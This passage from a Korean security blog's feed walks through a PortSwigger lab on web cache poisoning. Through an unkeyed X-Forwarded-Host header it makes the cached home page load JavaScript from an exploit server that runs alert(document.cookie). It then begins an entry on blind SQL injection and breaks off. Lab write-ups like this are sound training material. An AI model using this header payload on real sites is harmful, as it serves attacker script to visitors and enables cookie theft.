&lt;li&gt;다시&amp;nbsp;Burp&amp;nbsp;Repeater로&amp;nbsp;돌아와서&amp;nbsp;X-Forwarded-Host&amp;nbsp;헤더&amp;nbsp;값을&amp;nbsp;이용하여&amp;nbsp;script&amp;nbsp;태그의&amp;nbsp;src&amp;nbsp;속성&amp;nbsp;값을&amp;nbsp;사용자가&amp;nbsp;임의로&amp;nbsp;끊어서&amp;nbsp;다른&amp;nbsp;스크립트를&amp;nbsp;로드할&amp;nbsp;수&amp;nbsp;있는지&amp;nbsp;확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드(입력&amp;nbsp;값)]&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 135px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 135px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 135px;&quot;&gt;&lt;b&gt; 페이로드:&lt;/b&gt;&amp;nbsp;X-Forwarded-Host:&amp;nbsp;test1234&quot;&amp;gt;&amp;lt;&quot;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;br /&gt;&lt;/b&gt; 사용자가 X-Forwarded-Host 헤더를 설정하고 응답을 받으면 아래와 같은 응답을 받게 됩니다.&lt;br /&gt;&lt;span style=&quot;background-color: #dddddd; color: #ee2323; text-align: start;&quot;&gt;&amp;lt;script&amp;nbsp;type=&quot;~&quot;&amp;nbsp;src=&quot;//{X-Forwarded-Host&amp;nbsp;헤더&amp;nbsp;값}/resources/js/tracking.js&quot;&amp;gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;페이로드를&amp;nbsp;입력하고&amp;nbsp;응답을&amp;nbsp;보면&lt;br /&gt;&lt;span style=&quot;color: #ee2323; background-color: #dddddd;&quot;&gt;&amp;lt;script&amp;nbsp;type=&quot;~&quot;&amp;nbsp;src=&quot;//test1234&quot;&amp;gt;&amp;lt;&quot;/resources/js/tracking.js&quot;&amp;gt;&lt;/span&gt;이&amp;nbsp;되면서&amp;nbsp;src=&quot;//test1234&quot;에서&amp;nbsp;파일을&amp;nbsp;가져오려고&amp;nbsp;시도하게&amp;nbsp;됩니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;12_script 태그 탈출 가능한지 테스트 해보면 가능하다는 것을 알 수 있음.png&quot; data-origin-width=&quot;1203&quot; data-origin-height=&quot;569&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6Xs6a/dJMcadV8zDo/bsfG3eFWveAqxZYItdhkCk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6Xs6a/dJMcadV8zDo/bsfG3eFWveAqxZYItdhkCk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6Xs6a/dJMcadV8zDo/bsfG3eFWveAqxZYItdhkCk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6Xs6a%2FdJMcadV8zDo%2FbsfG3eFWveAqxZYItdhkCk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;402&quot; data-filename=&quot;12_script 태그 탈출 가능한지 테스트 해보면 가능하다는 것을 알 수 있음.png&quot; data-origin-width=&quot;1203&quot; data-origin-height=&quot;569&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이때 캐시가 만료되기 전에 /?test=1234로 사용자가 접근했을 때의 HTTP History를 보게 되면 캐시 된 응답이 script 태그에 담겨오고 있는 것을 볼 수 있으며 &amp;lt;script type=&quot;~&quot; src=&quot;//test1234&quot;&amp;gt;&amp;lt;&quot;/resources/js/tracking.js&quot;&amp;gt;이 되어 https://test1234/ 에서 파일을 가져오려고 시도하고 있음을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;13_실제로 접속해보면 js 파일을 읽어오면 test1234 host 파일을 가져오려고 시도중.png&quot; data-origin-width=&quot;1208&quot; data-origin-height=&quot;551&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bv34Ge/dJMcacbTzRY/110Shs5eVhaV63ukakZT8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bv34Ge/dJMcacbTzRY/110Shs5eVhaV63ukakZT8k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bv34Ge/dJMcacbTzRY/110Shs5eVhaV63ukakZT8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbv34Ge%2FdJMcacbTzRY%2F110Shs5eVhaV63ukakZT8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;388&quot; data-filename=&quot;13_실제로 접속해보면 js 파일을 읽어오면 test1234 host 파일을 가져오려고 시도중.png&quot; data-origin-width=&quot;1208&quot; data-origin-height=&quot;551&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;LAB에서 Go to exploit server를 클릭하여 접근합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;14_exploit 서버 접속.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;668&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biBhkR/dJMcag6relM/12u9189MNnC08RM5piEfkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biBhkR/dJMcag6relM/12u9189MNnC08RM5piEfkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biBhkR/dJMcag6relM/12u9189MNnC08RM5piEfkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiBhkR%2FdJMcag6relM%2F12u9189MNnC08RM5piEfkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;436&quot; data-filename=&quot;14_exploit 서버 접속.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;668&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Head에 Content-Type이 application/javascript 이며 문제 해결을 위해선 타 사용자가 방문했을 때 alert(document.cookie)가 실행되어야 하기 때문에 Body에 해당 스크립트를 삽입합니다. 이후 Store를 클릭하여 내용들을 저장합니다. (스크립트 저장된 경로: https://{exploit_server_id}.exploit-server.net/exploit)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;15_body에 스크립트 삽입 후 Store 클릭해서 저장.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;668&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uYc59/dJMcai4bRZn/qELKaXLsITsVe6kq3k2c5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uYc59/dJMcai4bRZn/qELKaXLsITsVe6kq3k2c5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uYc59/dJMcai4bRZn/qELKaXLsITsVe6kq3k2c5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuYc59%2FdJMcai4bRZn%2FqELKaXLsITsVe6kq3k2c5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;436&quot; data-filename=&quot;15_body에 스크립트 삽입 후 Store 클릭해서 저장.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;668&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Burp Repeater로 돌아와서 X-Forwarded-Host 헤더 값을 이전 단계에서 스크립트를 삽입했던 경로인 {exploit_server_id}.exploit-server.net/exploit 으로 입력하고 요청을 보냅니다. 응답을 보면 src 속성이 스크립트가 저장된 페이지에 접근하도록 되어있는 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드(입력&amp;nbsp;값)]&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 21px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 21px;&quot;&gt;&lt;b&gt;페이로드:&lt;/b&gt;&amp;nbsp;X-Forwarded-Host:&amp;nbsp;{exploit_server_id}.exploit-server.net/exploit&quot;&amp;gt;&amp;lt;&quot;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;사용자가&amp;nbsp;X-Forwarded-Host&amp;nbsp;헤더를&amp;nbsp;설정하고&amp;nbsp;응답을&amp;nbsp;받으면&amp;nbsp;아래와&amp;nbsp;같은&amp;nbsp;응답을&amp;nbsp;받게&amp;nbsp;됩니다. &lt;br /&gt;&lt;span style=&quot;color: #ee2323; background-color: #dddddd;&quot;&gt;&amp;lt;script&amp;nbsp;type=&quot;~&quot;&amp;nbsp;src=&quot;//{X-Forwarded-Host&amp;nbsp;헤더&amp;nbsp;값}/resources/js/tracking.js&quot;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;페이로드를&amp;nbsp;입력하고&amp;nbsp;응답을&amp;nbsp;보면 &lt;br /&gt;&lt;span style=&quot;color: #ee2323; background-color: #dddddd;&quot;&gt;&amp;lt;script&amp;nbsp;type=&quot;~&quot;&amp;nbsp;src=&quot;//{exploit_server_id}.exploit-server.net/exploit&quot;&amp;gt;&amp;lt;&quot;/resources/js/tracking.js&quot;&amp;gt;&lt;/span&gt;이&amp;nbsp;되면서&amp;nbsp;문법을&amp;nbsp;파괴하지&amp;nbsp;않고&amp;nbsp;src&amp;nbsp;속성으로&amp;nbsp;인해&amp;nbsp;스크립트가&amp;nbsp;저장되어&amp;nbsp;있는&amp;nbsp;&lt;span style=&quot;color: #ee2323; background-color: #dddddd;&quot;&gt;{exploit_server_id}.exploit-server.net/exploit&lt;/span&gt;&amp;nbsp;경로로&amp;nbsp;접근하게&amp;nbsp;됩니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;16_다시 burp repeater로 돌아가서 스크립트 삽입된 페이지를 unkeyed헤더에 삽입.png&quot; data-origin-width=&quot;1199&quot; data-origin-height=&quot;568&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ce26N3/dJMcaiDamkh/ykUKNMzOOXhjdEKEGYg5Gk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ce26N3/dJMcaiDamkh/ykUKNMzOOXhjdEKEGYg5Gk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ce26N3/dJMcaiDamkh/ykUKNMzOOXhjdEKEGYg5Gk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fce26N3%2FdJMcaiDamkh%2FykUKNMzOOXhjdEKEGYg5Gk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;403&quot; data-filename=&quot;16_다시 burp repeater로 돌아가서 스크립트 삽입된 페이지를 unkeyed헤더에 삽입.png&quot; data-origin-width=&quot;1199&quot; data-origin-height=&quot;568&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;캐시가&amp;nbsp;만료되기&amp;nbsp;전에&amp;nbsp;웹&amp;nbsp;페이지에&amp;nbsp;접속하여&amp;nbsp;/?test=1234&amp;nbsp;경로로&amp;nbsp;접근을&amp;nbsp;합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;17_캐시된 키에 접근.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;668&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9z3Tr/dJMcaiXq3dz/L9OoZDrY76EK54K8jfbAMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9z3Tr/dJMcaiXq3dz/L9OoZDrY76EK54K8jfbAMK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9z3Tr/dJMcaiXq3dz/L9OoZDrY76EK54K8jfbAMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9z3Tr%2FdJMcaiXq3dz%2FL9OoZDrY76EK54K8jfbAMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;436&quot; data-filename=&quot;17_캐시된 키에 접근.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;668&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;alert 창이 화면에 나오면서 스크립트가 실행되는 것을 확인할 수 있으며 캐시 포이즈닝 공격에 성공했음을 알 수 있습니다. 이때 캐시 버스터를 사용하면 문제가 solve 처리되지 않기 때문에 실제 공격을 할 때는 캐시 버스터 없이 진행합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;18_alert 함수 호출됨 http only 때문에 쿠키 session 쿠키안보이는듯.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;668&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjEQgX/dJMcaad51tp/El0oOssyyIucyfe3lIPxEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjEQgX/dJMcaad51tp/El0oOssyyIucyfe3lIPxEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjEQgX/dJMcaad51tp/El0oOssyyIucyfe3lIPxEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjEQgX%2FdJMcaad51tp%2FEl0oOssyyIucyfe3lIPxEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;436&quot; data-filename=&quot;18_alert 함수 호출됨 http only 때문에 쿠키 session 쿠키안보이는듯.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;668&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;캐시&amp;nbsp;버스터&amp;nbsp;없이&amp;nbsp;X-Forwarded-Host&amp;nbsp;헤더&amp;nbsp;값을&amp;nbsp;설정합니다.&amp;nbsp;이때&amp;nbsp;중요한&amp;nbsp;점은&amp;nbsp;X-Cache가&amp;nbsp;miss&amp;nbsp;여야&amp;nbsp;정상적으로&amp;nbsp;동작합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드(입력&amp;nbsp;값)]&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;페이로드:&lt;/b&gt;&amp;nbsp;X-Forwarded-Host:&amp;nbsp;{exploit_server_id}.exploit-server.net/exploit&quot;&amp;gt;&amp;lt;&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;19_실제 홈 디렉터리에 캐시 포이즈닝 시도.png&quot; data-origin-width=&quot;1195&quot; data-origin-height=&quot;561&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b4KRn1/dJMcabqxUh9/uhfHpuDySHDiF14K2K9MK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b4KRn1/dJMcabqxUh9/uhfHpuDySHDiF14K2K9MK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b4KRn1/dJMcabqxUh9/uhfHpuDySHDiF14K2K9MK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb4KRn1%2FdJMcabqxUh9%2FuhfHpuDySHDiF14K2K9MK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;399&quot; data-filename=&quot;19_실제 홈 디렉터리에 캐시 포이즈닝 시도.png&quot; data-origin-width=&quot;1195&quot; data-origin-height=&quot;561&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;캐시가&amp;nbsp;만료되기&amp;nbsp;전에&amp;nbsp;다시&amp;nbsp;메인&amp;nbsp;홈페이지에&amp;nbsp;접근합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;20_홈 디렉터리로 이동.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;668&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vTW4r/dJMcajhKq7h/FXBS3DmvatcOQtNYYbiG90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vTW4r/dJMcajhKq7h/FXBS3DmvatcOQtNYYbiG90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vTW4r/dJMcajhKq7h/FXBS3DmvatcOQtNYYbiG90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvTW4r%2FdJMcajhKq7h%2FFXBS3DmvatcOQtNYYbiG90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;436&quot; data-filename=&quot;20_홈 디렉터리로 이동.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;668&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;alert&amp;nbsp;함수가&amp;nbsp;호출되는&amp;nbsp;것을&amp;nbsp;확인하고&amp;nbsp;확인을&amp;nbsp;클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;21_alert 함수 호출됨.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;668&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bI9kCQ/dJMcadBMX0c/IznJsXI5iYqRRdqA10wiYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bI9kCQ/dJMcadBMX0c/IznJsXI5iYqRRdqA10wiYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bI9kCQ/dJMcadBMX0c/IznJsXI5iYqRRdqA10wiYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbI9kCQ%2FdJMcadBMX0c%2FIznJsXI5iYqRRdqA10wiYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;436&quot; data-filename=&quot;21_alert 함수 호출됨.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;668&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제에서&amp;nbsp;요구하는&amp;nbsp;alert(document.cookie)가&amp;nbsp;성공적으로&amp;nbsp;실행됐기&amp;nbsp;때문에&amp;nbsp;해당&amp;nbsp;LAB&amp;nbsp;문제를&amp;nbsp;성공적으로&amp;nbsp;풀게&amp;nbsp;됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;22_문제 성공적으로 해결함.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;668&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eCFt8k/dJMcadBMX22/PHYsqOJpNP6mnJELKv8wFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eCFt8k/dJMcadBMX22/PHYsqOJpNP6mnJELKv8wFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eCFt8k/dJMcadBMX22/PHYsqOJpNP6mnJELKv8wFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeCFt8k%2FdJMcadBMX22%2FPHYsqOJpNP6mnJELKv8wFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;436&quot; data-filename=&quot;22_문제 성공적으로 해결함.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;668&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/PortSwigger Web Security Academy</category>
      <category>Cache Poison</category>
      <category>Lab: Web cache poisoning with an unkeyed header</category>
      <category>portswigger</category>
      <category>portswigger web security academy</category>
      <category>모의해킹</category>
      <category>모의해킹 공부</category>
      <category>캐시 포이즈닝</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/31</guid>
      <comments>https://code000.tistory.com/entry/Lab-Web-cache-poisoning-with-an-unkeyed-header#entry31comment</comments>
      <pubDate>Sat, 2 May 2026 02:59:56 +0900</pubDate>
    </item>
    <item>
      <title>Lab: Blind SQL injection with time delays and information retrieval</title>
      <link>https://code000.tistory.com/entry/Lab-Blind-SQL-injection-with-time-delays-and-information-retrieval</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 도구&amp;nbsp;&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;SQL Injection 취약점을 이용하여 administrator 계정의 비밀번호를 알아낸 뒤 해당 계정으로 로그인하는 것입니다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Burp Suite, Visual Studio Code&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 - https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
